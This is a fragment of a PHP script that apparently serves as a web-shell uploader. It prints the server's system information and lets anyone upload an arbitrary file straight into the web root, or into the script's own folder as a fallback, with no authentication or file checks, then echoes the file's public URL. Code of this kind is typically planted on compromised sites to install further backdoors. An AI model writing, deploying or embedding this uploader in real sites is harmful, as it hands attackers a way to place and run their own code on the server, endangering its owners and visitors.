";
echo "".php_uname()."
";
echo "
";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['updlf']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['updlf']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Upload Sucessfull :) -> $web/$files";
} else {
echo "Could not upload the file :(";
}
} else {
if(@copy($_FILES['updlf']['tmp_name'], $files)) {
echo "Your file : $files have been uploaded in the same folder";
} else {
echo "Dead -_-";
}
}
}
?>